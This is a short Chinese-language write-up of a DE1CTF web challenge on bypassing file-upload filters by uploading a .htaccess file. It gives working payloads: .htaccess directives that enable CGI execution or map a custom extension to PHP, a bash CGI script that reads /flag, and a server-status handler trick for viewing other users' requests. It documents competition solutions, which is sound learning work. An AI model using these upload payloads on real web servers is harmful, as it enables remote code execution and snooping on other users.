在5.1假期间打了一个DE1CTF,自闭了,菜鸡虽然没打出来几道题,但是有些题有思路还是写一下,记录一下
果然我还是太菜了啊!
0X01 考点
1. .htaccess文件利用(扩展:去年的susctf考察了user.ini利用、17 XMAN选拔赛的upload)
2. Linux环境下 htaccess对cgi的利用
3.文件上传绕过:
(1)MIME(bp 包里面的content-type字段)检验
(2)后缀黑名单
(3)文件内容校验
0x02 解题过程
预期解
利用条件是:
1.保证htaccess会被解析,即当前目录中配置了`AllowOverride all或AllowOverride Options FileInfo。AllowOverride参数具体作用可参考Apache之AllowOverride参数详解。(Require all granted也是需要的)
2.cgi_module被加载。即apache配置文件中有LoadModule cgi_module modules/mod_cgi.so这么一句且没有被注释。
3.有目录的上传、写入权限。
利用姿势:
先上传.htaccess,然后利用cgi启动方式利用rce
.htaccess文件:
Options ExecCGI
AddHandler cgi-script .xx
接着上传 1.xx文件
#!
/bin/bash
echo
Content-type:
text/html
echo
""
cat
/flag
本菜鸡最后死在1.xx的最后一句,菜鸡一直在想着如何弹shell,最后一直都没有,wtcl!
当然还踩过的坑是,linux的cgi比较严格,上传之后状态码是500,无法解析bash文件,后面用Linux写,再导出就ok
0x03 其他师傅的非预期解:
一、利用 “\” 进行换行
.htaccess文件
AddType
application/x-httpd-p\
hp
.xx
1.xx
='cat
/flag';
当时和队友也探讨过“\”绕过,但是想到之前考过就觉得应该不会这么简单,果断放手了
(小小的脑袋里装有大大的问号)
二、利用Apache的服务器状态信息(默认关闭)
.htaccess文件:
SetHandler
server-status
上传文件后,就可以发现自己访问的目录就是Apache的服务器的状态信息,可以看别人的访问记录,接着白嫖.jpg
0x04 总结
还是看题看少了,还有就是多尝试!
菜鸡还是太菜了啊!要加油鸭!
参考:
DE1CTF官方WP
https://www.freebuf.com/vuls/218495.html